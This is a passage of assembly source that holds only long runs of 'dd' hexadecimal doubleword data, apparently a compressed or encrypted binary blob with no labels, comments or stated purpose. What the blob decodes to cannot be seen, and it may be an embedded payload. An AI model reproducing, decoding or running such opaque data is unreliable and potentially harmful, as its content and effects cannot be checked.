7C006F74h, 128C8984h dd 9C092494h, 8791A448h, 0BCF3B475h, 0FBCCFBC4h, 0FBDCFBD4h dd 0FBECFBE4h, 4FCF8F4h, 0C5C0140h, 1C121489h, 2C48C424h dd 22349107h, 4C17443Ch, 0F81754F1h, 6CED64EDh, 0F67C6F70h dd 8C120584h, 824A9424h, 0BC80E5BDh, 5390408h, 8E641C00h dd 6A236547h, 5FA83E89h, 48605403h, 0C0F75808h, 6411610Ch dd 0E2BCC803h, 0B0316214h, 46801Ch, 88E02363h, 38C46494h dd 1FEC7200h, 306548E2h, 8C5E00F0h, 11660423h, 100D560h dd 37842A93h, 0E500D14h, 4B4A4847h, 4E4D4C02h, 534705FFh dd 585737C0h, 0A056005Ah, 454104ECh, 4F1C6A49h, 6301B811h dd 68676664h, 6C6B80EBh, 0AF6E5A6Dh, 74052F00h, 17A7877h dd 61200176h, 606F6965h, 9160B998h, 0C4A010DCh, 0A7AC0022h dd 0C6E80901h, 740E84AAh, 0E0315132h, 71B09840h, 9EB0FFh dd 0C8101101h, 30912009h, 44312200h, 2F388C34h, 69070041h dd 33E8C79Ah, 0B001E90Fh, 19F3F0F2h, 4520A490h, 1D2B90B8h dd 0C0F822D4h, 3C45581Ch, 741724DEh, 30408C48h, 0ECD444BCh dd 59040288h, 34121881h, 6420FA8Eh, 94227C91h, 0FFA84407h dd 0C9001F7Eh, 0C1BD8Dh, 9B382F3Fh, 6B707AFEh, 4B3E1D00h dd 0AF51C049h, 391A1CB6h, 931500F4h, 1B926CB0h, 5B78B424h dd 95553B00h, 708436F7h, 86B8E4h, 0CE0D4AD2h, 0F501DD09h dd 0E3CD5300h, 601DB413h, 0F820006Ch, 0A4225027h, 24009B03h dd 41659885h, 0F95018Fh, 728409E8h, 70589907h, 4070084Ch dd 8900737Fh, 0C5FF1C88h, 7CA3F003h, 75C80021h, 0A43110BEh dd 0A67EE408h, 1933D001h, 70EC09E0h, 0BA740D4h, 0F849CCC8h dd 90D7A287h, 0AD0A802Ch, 4A96C06h, 3E60A5FEh, 248EA838h dd 68E35409h, 84B87412h, 0B5A89048h, 0C80345B8h, 964C033h dd 0EB32EB21h, 4442E83Ch, 0B35A0350h, 0D2C08A24h, 3E08B590h dd 152981Eh, 3020779h, 6020504h, 0A266007h, 0D0C0E0Bh dd 10400E0Fh, 7894389Ch, 0A403BEBAh, 0C401811h, 0C40B99B4h dd 7BD02620h, 310D248Dh, 105C030Eh, 0E09B0E34h, 2001C0ACh dd 90E61294h, 0A8021376h, 1A6C3616h, 9C2D6019h, 1F401C80h dd 7022C184h, 0F77811CCh, 0A024B1D7h, 0C826E488h, 7A279924h dd 20192801h, 6E8954D9h, 3B003160h, 10012E34h, 3C033F1Eh dd 0E0EC118Fh, 0B0023308h, 34483E22h, 2F6892h, 2C36317Dh dd 9009937h, 0C1399032h, 1EC4023Bh, 0C0B4063Dh, 5C874C3Eh dd 400C8CCh, 0B15A448Bh, 37714B0h, 639C1864h, 0E9B03038h dd 311FDC73h, 700019D4h, 785DD9BEh, 0F284E89Eh, 20AE0004h dd 79CC6398h, 0C4CA2E4h, 4411003Fh, 399C5676h, 995C3A66h dd 6C5D798Fh, 0D1F5DDC2h, 0A1E05760h, 3652400h, 0C4793310h dd 4807519h, 0DC592CB1h, 12218022h, 422486E0h, 0D200B088h dd 5C809219h, 9300053h, 3C247214h, 89161260h, 6003992Ch dd 0A8A5D481h, 0E2195C2Eh, 442000Ch, 9948515Ah, 0D07411BCh dd 0F9C4B93Ah, 26D9A500h, 65193440h, 5809007Ch, 0D4889C12h dd 0A000941Ch, 604A90EAh, 366AC2Ah, 41500998h, 8DC057F7h dd 0D9F82808h, 49145900h, 9FB4298Ch, 3C313E33h, 2060A987h dd 4C7470C9h, 441F6FF4h, 54C1D939h, 91282999h, 0F0C2C07Bh dd 250CA49Eh, 129CC419h, 32BF00E0h, 0A514387Bh, 1B584CACh dd 69C6015Ah, 885BC33h, 1134F8h, 0D8A4F904h, 1C94A9DCh dd 4C619901h, 49883C09h, 0C9083F2h, 4BFBE8D9h, 20460079h dd 66107A30h, 2C3A51E4h, 3FB4C841h, 6875F45Ch, 58037FB0h dd 94D31287h, 549A0E60h, 5CE090B0h, 0B466B896h, 6C61A973h dd 0CC5211ECh, 3106730h, 94B059F2h, 70C00C84h, 2390B199h dd 995AC00h, 74329CDCh, 258C0261h, 20D84C2Ch, 90A4B740h dd 0C6FC9600h, 786A59C0h, 0D7011E41h, 1B7257Ch, 5BEAC55h dd 91934C87h, 70539190h, 1800869Eh, 0AC562096h, 0FA5EC814h dd 9EF205C0h, 807CD024h, 8FEC978Dh, 110088F8h, 0EE1920Ch dd 2C0298h, 9A4E203Eh, 9CC8B047h, 0DAF13CC0h, 2C08019Bh dd 3F961E93h, 1EC41093h, 0FA1887ADh, 995AF0B1h, 93E7031h dd 24A08088h, 91D448B8h, 0F22202E2h, 400CFE44h, 32896A60h dd 2425127Fh, 9FA07554h, 0A290447Eh, 0C8FEB4FEh, 0F0FEDEFEh dd 9520B81Fh, 3BCF74BDh, 0C04CCF3Eh, 22749158h, 8196FE86h dd 0BFC0FDAEh, 0BFDEBFEAh, 2BFC89EEh, 1973870Ah, 0C03611D2h dd 302944CAh, 807D1452h, 5B89053h, 0C20CAC7Dh, 28E489D4h dd 41400F4h, 268C1C97h, 27B83411h, 4C00427Eh, 64445822h dd 0C020A672h, 0B889A884h, 2430CC12h, 9823BFE0h, 111C1819h dd 223A522Ch, 5E444A05h, 3BC0897Ah, 0FB424A4h, 0D491C448h dd 0F0E0E2EFh, 991688FEh, 1226810Ch, 5CF53Ah, 82226E91h dd 89AA9844h, 0CA54BA7Fh, 0FEFEF297h, 9A0C100Ch, 0B329422h dd 0AC468A40h, 96C5A80h, 107DA686h, 89BAA805h, 0D19013CAh dd 259BE0F0h, 7F800E81h, 914E483Ah, 6E03607Fh, 898C8044h dd 0F8AEFB9Ch, 70154C8h, 0BF08E429h, 1E11C023h, 0AEA22C32h dd 4F64EDA4h, 3E7E2C74h, 0A612009Ah, 3430B025h, 7200656Bh dd 6C076E73h, 2E3233h, 10D45E64h, 7487473Eh, 0C9789Dh dd 0E66ECE1Eh, 1C0C6854h dd 49646117h, 446DD300h, 0F83046h, 69757243h, 617B63E4h dd 0EB537E00h, 6E6F108Ch, 0CA4C2E31h, 56170067h, 7EDA45E0h dd 1895B000h, 27B6499Dh, 7AFC0124h, 566735A5h, 75EC43F7h dd 0EC46FE00h, 41A20E34h, 6F960382h, 0D5E8C663h, 19DA1CD0h dd 0A6001AF4h, 0CA51742Ah, 1079E4h, 64695706h, 61683EBCh dd 0D0548325h, 1D6C00F1h, 287942B8h, 0C03AE34h, 98212ED5h dd 7773F02Dh, 0DAA00074h, 4CE1416Eh, 3E00630Ch, 87FD7970h dd 17AD23Dh, 18740648h, 0CB726269h, 612445F1h, 32E9CCB4h dd 899B1D00h, 531223EDh, 88BA0097h, 0AE27094h, 417C6F66h dd 72504300h, 64713E7Bh, 735200CEh, 4DC73634h, 8700FA6Fh dd 61488E3Fh, 0CF96Eh, 18144F41h, 4E086946h, 6D0057F8h dd 565A5216h, 0F412544Dh, 459403A0h, 0E4A6DC72h, 6DD35390h dd 0A3938E00h, 3552A59Ah, 751B3F25h, 2C0E1900h, 0ED08BE64h dd 4D18B0E8h, 419C426Ah, 0FA730032h, 0D33EC72Ah, 9900569Dh dd 0A98A5724h, 0F19B080h, 0A6686E55h, 46B2E7C0h, 440E703Ch dd 0C033DA99h, 145374A4h, 501A0926h, 0B800946Fh, 4F5C4562h dd 3D9A6600h, 8CFFE0C3h, 0D4770082h, 1F490CD3h, 7B041857h dd 52F0ABF3h, 0A23066C0h, 90C6B864h, 2DA100A0h, 227AD153h dd 79288A4Eh, 6D0096BCh, 0E97E6954h, 0F8C44F1Eh, 43220070h dd 38527A4Bh, 0D47194D9h, 75CC4900h, 0CA9B7214h, 324B0367h dd 0BE406279h, 3AA664D0h, 3501917Dh, 6EEF05EEh, 4DE80A67h dd 619E00FFh, 6F428ABAh, 0A6024878h, 7D4E9F11h, 0C80943B6h dd 3F29767Bh, 4AA46970h, 326700F2h, 9143565Ch, 20E4D00h dd 9A4F29D9h, 0C06E39A6h, 21D41300h, 8723DB89h, 58A7A00h dd 29747561h, 70B50740h, 80A00DE4h, 0C4F0A9C3h, 2C0E66F4h dd 0A0986F16h, 64534977h, 7F9A0028h, 3905E4Ch, 0B009ADACh dd 844DE965h, 0BBC7E5B0h, 458C02Eh, 0A525D4h, 548FCC8Ah dd 542849Ah, 9100B8E8h, 591B470Eh, 15DA4Eh, 677A66C5h dd 2A1749AAh, 9FE1B400h, 24125628h, 0DE4C3F41h, 0ED641400h dd 60934092h, 0E2CF5300h, 70476D75h, 54F6006Ah, 0EF5210B9h dd 536EC558h, 4C11A07Ah, 3D0A599Ch, 3B9D3351h, 90084150h dd 0C463CADEh, 772636B7h, 0A500C571h, 0C105C91Ch, 0F9D0075h dd 0C4D42873h, 42EC49C3h, 889022EEh, 0B4745900h, 0AC62E499h dd 322100F2h, 10946BF3h, 0EA7404B1h, 1E184CECh, 0A956F5F6h dd 134900B5h, 6D0ECCC7h, 330114F2h, 5622D687h, 0E0403141h dd 149738Bh, 0A85D261Dh, 0E4DC3DA5h, 8D01E5BCh, 0CE4E456Eh dd 12D4EDBAh, 8ACB0095h, 8B4428EAh, 91E7658h, 0FCA4D5h dd 0CC6B1E84h, 73F70DAh, 41256361h, 0F22EC097h, 5D005051h dd 93C077A2h, 0F4431923h, 219B0FE7h, 4480587Ah, 696F76FCh dd 24DF3E00h, 5288369Eh, 7E6C755Dh, 339300ECh, 29E93F26h dd 0A2309C41h, 9DF4085Ch, 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah dd 53092084h, 8002574Ah, 0E65477DCh, 12A7075Bh, 0FF825014h dd 6C440580h, 0D5004967h, 252366EDh, 38699FA0h, 9480B970h dd 0A276B444h, 0D1FC426h, 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h dd 1E324693h, 8FA6C241h, 6200CAE4h, 0D3EEA4EBh, 2658664h dd 57E08A63h, 0FD80D484h, 70412032h, 2990A605h, 41C0BAACh dd 9C9BA8h, 672A3EC8h, 1BB9D40Ch, 26240AB8h, 2B033D6Dh dd 0A3144EADh, 0EA5DA895h, 77F7958h, 3250F10Dh, 88222031h dd 0B41D2CD4h, 0F3E63CA1h, 60BC1207h, 6D804795h, 3A644Fh dd 0F3EC4CA8h, 3795CD77h, 2A1D7600h, 1268C6DEh, 4878D8h dd 412C5357h, 6C42AA43h, 7A00C4E4h, 2D9A2592h, 1849F9h dd 1459A361h, 5C6521BAh, 8E1D680Bh, 0D025000Ah, 7D6FAB26h dd 981A0C7Dh, 868B1A5h, 1FD6B701h, 2552EB7Eh, 858630h dd 18547078h, 0DE6E95C4h, 7568CE03h, 0C00948F2h, 1557B8h dd 203D3251h, 0D501299Ch, 1A55B70h, 7000F4D7h, 6E48E010h dd 70801h, 2C270C30h, 3C673847h, 0A7408700h, 0E748C744h dd 0E850E44Ch, 0F062EC54h, 0F872F46Ah, 0FC82FC7Ah, 0FC92FC8Ah dd 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh, 0FCD2FCCAh, 0FCE2FCDAh dd 0FCF2FCEAh, 2E100FAh, 12C90A31h, 0D93D1AD1h, 0E92A0022h dd 0F93AF132h, 0E84AE442h, 0F05AEC52h, 0F86AF462h, 0FC7AFC72h dd 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h, 0FCBAFCB2h, 0FCEEFCE6h dd 4FFEFCF6h, 96ACF8h, 7616740Eh, 327781Eh, 507C487Ah dd 0BF90B87Eh, 3477071Ch, 80CD9D3Ah, 27263513h, 7E0479Ch dd 55362161h, 7CD150C9h, 37000FD8h, 9A385E1Ch, 1DB79Dh dd 1ECD9EC2h, 1FDF9FD5h, 0F300E974h, 0F390987h, 15471D27h dd 0B43A6730h, 0AEC74E14h, 6E2A5C39h, 7A8978ACh, 7E9D7C95h dd 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh, 7EE14F6h, 1700E03Ah dd 2E672847h, 0A70A3687h, 0DA57C740h, 9B14839Dh, 0C652CAh dd 303B1AE1h, 0D17FC9h, 0E0BDD99Fh, 0DC723CCFh, 3D0F1C00h dd 1D2E9D15h, 409E0037h, 549F4B1Eh, 6AE85B1Fh, 93F071ECh dd 0F4F8ECF4h, 3E79870Ah, 0A2809697h, 143F0E61h, 0D12400C9h dd 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h, 0CF00C325h, 872083FBh dd 8CC0007h, 3A309C3Bh, 1D00649Dh, 1E7D9E6Dh, 3A8B9F85h dd 9B3B941Fh, 0A603A03Ch, 324FB992h, 0E6BC39h, 3118C3EEh dd 3EFE971Eh, 5401488Eh, 73495C0Fh, 0C492F924h, 4600CA10h dd 1CFC7E0Eh, 343202h, 761D589Dh, 8C1E869Eh, 1F949F0Eh dd 87F980EEh, 3083302h, 21471827h, 0F0017267h, 93C789A7h dd 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h, 3465E1h, 0D1ABC98Dh dd 0E0BFD9B7h, 72351900h, 7627741Fh, 6278014Ah, 3F368349h dd 0D0C9C9B5h, 93000ED7h, 0A243B237h, 90AD38h, 0E46A3A1Dh dd 0ECB9E8A9h, 0EDF0CF01h, 3B5003F4h, 69F12FE1h, 0EF3F0h dd 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h, 93283E0Ah, 98A3036Bh dd 0D3C3A1B3h, 11E0DC88h, 0AA393F00h, 850C62D4h, 498000C8h dd 12A71DCCh, 5E07C735h, 998767E7h, 0FC1BF90h, 0C8533B31h dd 0CF19ABC8h, 0D9338E74h, 7649D840h, 7F785400h, 0DF7C947Ah dd 1CF2007Eh, 9D3C3406h, 52001D4Ch, 5E1E589Eh, 901F649Fh dd 7873762Bh, 0F4915483h, 0F8BCFCB3h, 1B8700C3h, 39272035h dd 673D4447h, 0A757004Ch, 0E76FC769h, 0A98EE475h, 0ABE1A6C5h dd 9A24CDE9h, 9AE8FCE3h, 3604003Ch, 0D117C909h, 0CA00D9BEh dd 503AFBE0h, 4080C4h, 0C3146C81h, 0A7934A92h, 0B2B6A301h dd 643203CFh, 0C9E4ABE5h, 39BA00B3h, 0E05016D9h, 0FD1EE4E7h dd 368040E8h, 0E6A12A56h, 76F20074h, 380B1CF9h, 32009D29h dd 459E3E1Dh, 87E21Eh, 27B7398Eh, 61C547BEh, 0BF3A8400h dd 723B0EC8h, 0EC7400B9h, 0AF3C051Ch, 3D008887h, 3E1821BAh dd 0E0C953h, 9D9F8D1h, 0E83CC024h, 56EC4D00h, 50CB98F1h dd 28C1206h, 345E00C3h, 0A33A9333h, 53B3441Eh, 67D35DC0h dd 0F279E3h, 0A9C0A78Fh, 6093B0E4h, 0C4F3BD1Ch, 0D31DCB9Dh dd 0E51EDC9Eh, 0F71FED9Fh, 1F0FB80h, 0E40535h, 920FE80Bh dd 7C2C7A74h, 3B49361Dh, 4E543F8Eh, 0CF6B8E5Eh, 4F8A0F82h dd 0CF9A8F92h, 0CFAACFA2h, 0C0C4CFB2h, 0D6012AF5h, 763B0074h dd 7A687843h, 7E717C70h, 9E758473h, 0D279AF77h, 0F07DE77Bh dd 0FA00F57Fh, 1B370D1Ch, 91D259Dh, 1E489E43h, 87675584h dd 678647B5h, 0AF96878Eh dd 9F1E1FF3h, 9FB61FAEh, 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh dd 80F61FFFh, 380687FEh, 1607270Eh, 26671E47h, 36A52EA0h dd 46EE0E4Fh, 56404ECFh, 661A0FD6h, 76F46EF0h, 0CA0E7EF8h dd 2E3FFC86h, 0AE9E6E96h, 2FAEEFA6h, 0AFBE6FB6h, 0CFCEEFC6h dd 0CFDECFD6h, 0CFEECFE6h, 0EFEC1F6h, 4ECC3906h, 1E8E0016h dd 2E0F26CFh, 8F00364Fh, 2746CB3Eh, 14E75638h, 0F466E55Eh dd 7EF27603h, 0F9D92EC9h, 6406C8F4h, 0E8142C01h, 0F024EC1Ch dd 0E1190DCh, 44FC3CF8h, 548E4C4Eh, 640F5CCFh, 748F6C4Fh dd 20FD7CC0h, 94FC8C58h, 0A4FC9CFCh, 0B4FCACFCh, 903FBCF4h dd 3FCC3FB0h, 3FDC3FD4h, 3EEC3FE4h, 40260F4h, 3A0C3B39h dd 1C00143Ah, 2C3D243Ch, 3F77343Eh, 4CE844E4h, 5C7A1B92h dd 6C7E647Ch, 7C7E747Eh, 8C7E847Eh, 9C7E947Eh, 0AC7EA47Eh dd 0BC49B47Eh, 3FCC3F23h, 24DC05D4h, 4E87AAE4h, 487FC20h dd 195B03Ch, 671C4714h, 602C8424h, 253CC93h, 7CFEC77Fh dd 40E884E7h, 7ED492A3h, 0CE74BC72h, 0FE00CCFh, 80FA5FF4h dd 7404723Dh, 140C7608h, 0BB481078h, 1C396548h, 3C3B2A3Ah dd 643D5C3Ch, 6C3F683Eh, 743F703Fh, 2C64783Fh, 987C9280h dd 0F9C04FE9h, 0F9C8F9C4h, 9FD0F9CCh, 0DC80D87Dh, 0EDEE059h dd 1C3E0114h, 248B204Eh, 0A72CE427h, 34C43001h, 3CE75D87h dd 0EC6CEC74h, 0F478F074h, 0FC80F87Ch, 0FC88FC84h, 0FC90FC8Ch dd 0FCA4FC94h, 0FCCCFCC4h, 3ED4FCD0h, 3281D8E5h, 0F3E450C3h dd 0F2ECC8E8h, 54690400h, 0D930D12Ch, 38E13934h, 4E405C92h dd 4C884830h, 8815ABA9h, 0AF902AADh, 3F309849h, 91A422A0h dd 49E0122Ah, 2E24E82Ch, 0F83093F0h, 8C99F0F7h, 130F6010h dd 612501D4h, 51347882h, 0F96890F3h, 3090E488h, 0BA675274h dd 0A4727E54h, 0AC76A874h, 0C05DB003h, 93E83F58h, 0B3F0A3ECh dd 0D0F8C3F4h, 3970FCh, 83A0431h, 383C665Ch, 2E403D00h dd 4C9F6844h, 4B500097h, 6EA7586Ch, 7054E760h, 9CEC98A6h dd 0AAAAA0F0h, 0F9ACEEE1h, 0B81974B0h, 54B2C8FCh, 0F405F07Eh dd 82D7F8E5h, 93043D80h, 0CA30008h, 20C310B3h, 500040D2h dd 0B4C4A94h, 0EEA75496h, 60E5015Ch, 0F3688293h, 0D19CC97Ch dd 0E1A8D9A4h, 0F2B0E8ACh, 4850B43Ah, 0D22C4862h, 0E0F82400h dd 48045D33h, 3C00D7ACh, 0B2142E10h, 960E1C9Fh, 214F1720h dd 60CF5C22h, 68D164C9h, 70E16CD9h, 78F00471h, 0AB7C07CBh dd 12BC8732h, 2249C0E7h, 7C2426C8h, 0DC00D87Eh, 3974ECE6h dd 4D3A1434h, 200B1018h, 5A8E243Dh, 0FDFF2C20h, 4873029Fh dd 0DE70B5A1h, 0ED78ED61h, 0DF80F47Ch, 887E847Eh, 904AE0B8h dd 0CFC0130Fh, 0CFCC8FC8h, 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh dd 782E5CE8h, 592400CCh, 0B35C9228h, 38F47F13h, 20B88F01h dd 0DA2474BAh, 78CC927Ch, 7C8C7A88h, 98C3A090h, 0A01E0E0Fh dd 0B840A4CFh, 5C61D8C9h, 488DE458h, 0C0FDB058h, 0E4140036h dd 0ED3CE834h, 44095670h, 4F848F4h, 49D25094h, 419A4A58h dd 0E2F1C688h, 0CDF8F9F9h, 718001B2h, 56775938h, 0FC6D7158h dd 4104623Bh, 6ED16A40h, 976BEA0h, 7EF17AE9h, 2C869D61h dd 818E259Fh, 582896A1h, 0CE605065h, 3093CA6h, 1A630A02h dd 0A2607083h, 0DB0092A8h, 4A904926h, 0AD9AFD1h, 320AE0E4h dd 0A748009Fh, 81331C50h, 0F9B9D07h, 36A034B5h, 4F274Ah dd 1ED35B45h, 50B0D2ABh, 0EF007EE0h, 3A0E215Dh, 388B3B65h dd 9F00A72Eh, 4B0216D8h, 273347F2h, 0F08282E6h, 0DCC7BCh dd 713905E1h, 0B5D19CC9h, 64C2D901h, 3F8EAAEh, 0E41E3AF4h dd 2B0E0058h, 704E6B3Bh, 0CF00788Eh, 21B30BA2h, 613C7150h dd 0D8A5437Fh, 5DDE302Eh, 76B07403h, 0C3CE98EAh, 0C269C347h dd 7ACD6077h, 9D7C2696h, 0C84D0B16h, 0C0EB6084h, 72F2512h dd 47780203h, 989B6787h, 12AEFEh, 940CF188h, 30050708h dd 0D824A509h, 805489E0h, 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh dd 0FB7E48Bh, 0FB4FEC00h, 26330A83h, 0A25F0093h, 86C6496Dh dd 0F10B8EE9h, 2C8A2C9Dh, 0ECB78E86h, 0C2242EBDh, 9DCF1C69h dd 9EDA1DD5h, 9FE51EE0h, 0F017EBh, 3403876Fh, 2A0F2421h dd 0C45385h, 0F85056A0h, 1C960055h, 0CE4F6712h, 8272CF79h dd 0B100A874h, 1A62BAC9h, 2C640h, 9224B35h, 0A4216618h dd 11360800h, 6A24CCC9h, 3739000Bh, 3B343A19h, 58733C3Dh dd 7E3E6B04h, 3880873Fh, 707B525h, 0EBE7DD0Ah, 223850E1h dd 610F2BC9h, 5D4DD95Dh, 0F17FE940h, 3DB0F9A1h, 0FC288C24h dd 0B12E2F6h, 2A3B223Ah, 473D2580h, 1C1F6424h, 52563284h dd 0EC6D8E00h, 7BF073h, 0C0F880F4h, 0C85D9EBAh, 0D02EA000h dd 4BD897A2h, 0A5E000A4h, 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h dd 7A926EE3h, 10B00008h, 0BA18B274h, 20005DB4h, 0B8282EB6h dd 0F64B3097h, 0BCA50038h, 48BED240h, 500FC0E9h, 0C058C274h dd 0C6605DC4h, 0C868002Eh, 0CA4B7097h, 0CC01A578h, 88CED280h dd 5761D0E9h, 0BA98DCh, 0D6A05CD4h, 0B8CBB0CFh, 0C8D89900h dd 0DA73D0F9h, 2EE0003Fh, 0F867DCE8h, 3C010BEEh, 0D910DE91h dd 2CFC7318h, 2EE10028h, 0E54067E2h, 0E44CCC48h, 0B960092Dh dd 97A980E6h, 0EE83378h, 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h dd 0B8ECB4E8h, 0C4F4C0F0h, 827EFFF9h, 0AA3CD805h, 9D82E43Fh dd 0EB75602Eh, 99FA00ABh, 24E920F8h, 210B2CF1h, 8B38F9F2h dd 500990ACh, 1FC4009Eh, 8960925Ch, 4012806h, 1102214Ah dd 4FF0FF3Eh, 780A0070h, 4E5B7A57h, 0FA16095Fh, 5001A1BBh dd 97C9893Fh, 0C60434h, 0C32DAE1h, 88609020h, 300B0F00h dd 48493327h, 0EA3B00D6h, 0E8ADF2Ch, 13F68D35h, 67A8A707h dd 86317247h, 9BE49187h, 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h dd 6A00E4F2h, 424C0B8h, 0E4937h, 3C233BBEh, 4102672Dh dd 0E74BC70Eh, 8E5F4E55h, 73CF69h, 0D39BF485h, 0F3AF12CEh dd 0CCB3C3B9h, 0F7C0D1B3h, 382C1BF0h, 96050A27h, 8C8003C0h dd 0E53A0Fh, 28798A1h, 27CB3BBFh, 0EA47D800h, 193C9D61h dd 3E560060h, 0E974B272h, 8A003750h, 3F62E1A0h, 15D0770h dd 75312E30h, 0FCD31524h, 5213A24Bh, 760088E9h, 342B50E0h dd 356D001Ch, 0DDBF5C36h, 0D8005DCBh, 6144EADEh, 1E09537h dd 60EDF332h, 0C09C482Ch, 8700FB1Dh, 249F394Eh, 1E16C4E5h dd 4083FAF0h, 1525F33Bh, 1C3E2E84h, 0A6828095h, 7AFE50ADh dd 0E87C00D0h, 184A3EE0h, 4900E60Eh, 550BF1CFh, 0E940427h dd 0C964B047h, 0A41B78E0h, 303C810Fh, 0D14F8006h, 3D60286Bh dd 170E00E3h, 2F491F31h, 6E014841h, 863EAE68h, 0C0C48B2Dh dd 0FA50BF07h, 100E4E2h, 0E86C18A0h, 0E2ECA3h, 22F4FDF0h dd 3A3E3339h, 983B8000h, 0EE3DB33Ch, 3409000Eh, 0E14A492Eh dd 0D2E6943Eh, 0F1D7E904h, 80C060EAh, 7DA15B72h, 0BD903AAh dd 8D3ACA6Ch, 9F379600h, 0D78EB84Eh, 12F03DCFh, 43F100F0h dd 936D391Dh, 9901A392h, 7470CCB2h, 45CC3672h, 78981C76h dd 805CF4E2h, 87E38C78h, 4E3C8000h, 313D1642h, 0D4B40249h dd 1B097E6Ch, 64610040h, 0FFD9FA01h, 0D8C082E3h, 2496E0h dd 8430170Bh, 38A0DE3Bh, 0E8FF3Dh, 1DF612F2h, 0FE27FAh dd 0F437B02Dh, 0B25AF849h, 734A6601h, 0E2922E09h, 0CA54B07Ah dd 3AD5F939h, 0FBFA00E7h, 28203581h, 48A8001Ch, 504F7AB2h dd 5801BA09h, 14642641h dd 1D6424A6h, 3F6098ACh, 2C13B4C9h, 3C2503BCh, 25903FCCh dd 2A0014ECh, 0AEB00472h, 4A0C76h, 18320F10h, 20CF1C8Fh dd 284C9DE5h, 34C82C81h, 60C85C9Fh, 0C2640093h, 0F0786CEEh dd 5E75747Eh, 0E18088C0h, 72F988F6h, 7690748Ch, 0D39C7894h dd 0C8630080h, 0FCD0E864h, 0B892D400h, 0E04DDC7Eh, 67983Ah dd 1007EC2Dh, 0E4F8E7F4h, 42D3FC00h, 0A22C9324h, 2E91C30h dd 0F13CC038h, 6844F940h, 66011C4Eh, 10542E50h, 5CA05344h dd 0F498F090h, 1F52949Ch, 9FA89FA4h, 92B085ACh, 0BCA203B4h dd 5AF1C0C9h, 0F3FF31C8h, 0DCEBF0C9h, 10010F1Bh, 83840B3Ah dd 0DC42C29h, 3D604D1h, 803E873Ch, 5869A02Bh, 0C5E1BF00h dd 0D2F1CEE9h, 0FEBC7E38h, 0F3EE1EBAh, 3F0280F2h, 66013142h dd 0C8986C00h, 37DEFB50h, 741A0172h, 0D7C4A78h, 69B03084h dd 0D62D8A0Fh, 0EBFB0007h, 5407849h, 0F03C6E68h, 4BC68070h dd 0E7B0212Dh, 0B745AB03h, 98D662D3h, 2DEFE2E3h, 6F004EE8h dd 0F8895961h, 587E3C5Ch, 7E5C59h, 3D0283DDh, 0AB9322h dd 0A73E19A0h, 27E8CAE4h, 33033FE2h, 67521687h, 0A593A873h dd 700827B5h, 0E000E674h, 0C77230F8h, 68D4004Dh, 5731130Eh dd 0C1016349h, 0B3E182A2h, 7F49038h, 4E560032h, 331883D7h dd 88739250h, 0B300667Ah, 8FD2300Fh, 0FBCFE6h, 0EC2708C9h dd 0E0224418h, 0B62C4BE4h, 9F005CAAh, 836F9769h, 0F39D1C6Ch dd 0F2AD80A7h, 4A0AF8B8h, 3C3EC57Dh, 0BFD9BFD3h, 51ECBBE1h dd 0AA9D60C0h, 74077202h, 6015760Dh, 5217A74h, 2F7E297Ch dd 0C0D11CCFh, 274BC945h, 0E7395DF6h, 0F4720065h, 8AF8927Eh dd 0AEF20049h, 0FCBAEA24h, 13F8BCC2h, 1682DD01h, 49B8D8F8h dd 583BDAD4h, 3D385225h, 0D64B2483h, 0C05E639Fh, 0F79E90Fh dd 8F874F7Fh, 0C09DCF8Fh, 49B592A7h, 61C303CCh, 0D7F9D1B0h dd 0E3A3DD93h, 0D06CF3B0h, 12E38h, 1E13E2A6h, 14FDC17h dd 28823302h, 0F8508F38h, 39000A16h, 0C46EC31Ch, 163A18B0h dd 10E4D1h, 142E8615h, 7F0B96EEh, 0D6BC83h, 0E4CF3D80h dd 3E2D000Bh, 36740417h, 29029EB0h, 3A533F39h, 35E0FF5Fh dd 44001C7Eh, 0F9C0C30h, 398595DBh, 8C80FF60h, 86B18284h dd 44070292h, 0E15C1449h, 88F981AFh, 1670092Ah, 4F221D50h dd 0A08EC798h, 33E190E0h, 3400C213h, 59EC4AC6h, 0E6195D6h dd 72692CD8h, 50CEAEC0h, 2CB0AD84h, 52382700h, 0E05A3E05h dd 92620026h, 5B6A7EBAh, 0EA090B72h, 0EC617Ah, 5FE98643h dd 7BE0024h, 0FE4AC90h, 17FE13E8h, 0BA3E04B8h, 0D33E6782h dd 0E01CD722h, 9D2730h, 92AA1DA6h, 89BE5EA7h, 2F2B3E02h dd 60A414C0h, 1BD3A3Dh, 9425FF4h, 0EC51019Ch, 0A0006012h dd 6CE868E6h, 0FC3108CEh, 32350087h, 33092139h, 0B100C90Dh dd 5F343CD0h, 0F40B40h, 0C832E1C0h, 765E41EAh, 257AC90Bh dd 0D3430462h, 0F8838580h, 0F6743FACh, 0B914FA80h, 1790BD38h dd 80623900h, 793A7578h, 0E87D03E4h, 5D3B2659h, 0C3B8B4CBh dd 0A300B734h, 3D43B0BBh, 207E49Fh, 3A1A3E48h, 2740240Fh dd 1F71FAACh, 127E23ECh, 0C326161Dh, 0F3A2EF00h, 3A508084h dd 5780BC08h, 8AB8AE30h, 3101430Bh, 0E1DA424Fh, 87CC7B9Ch dd 0F19402E9h, 0BF3C34A6h, 0DE7459D8h, 997F500h, 7BBCC95Ah dd 3C9100D9h, 3FAF3E6Ch, 0F3002DE7h, 0A012A205h, 0EC249Ah dd 0F42CF028h, 0F2AAA338h, 2A680E0Bh, 96058347h, 713F898h dd 12140037h, 3FB24BDCh, 5E006C24h, 0FC7778E0h, 88BE84h dd 0CF39C307h, 0E147D627h, 0B8EB6400h, 3A080E40h, 4E7D1Ah dd 3C703389h, 787C527Ah, 248E7E39h, 49000CBDh, 0E03A2CC7h dd 0F5F2583Bh, 0A007D148h, 703D0E20h, 0D74BCB3Eh, 0F6542702h dd 63A5FC87h, 0BC28F892h, 44F20E10h, 0D8C0A135h, 9D301411h dd 1D720201h, 0C0DC9697h, 732A260h, 924FE443h, 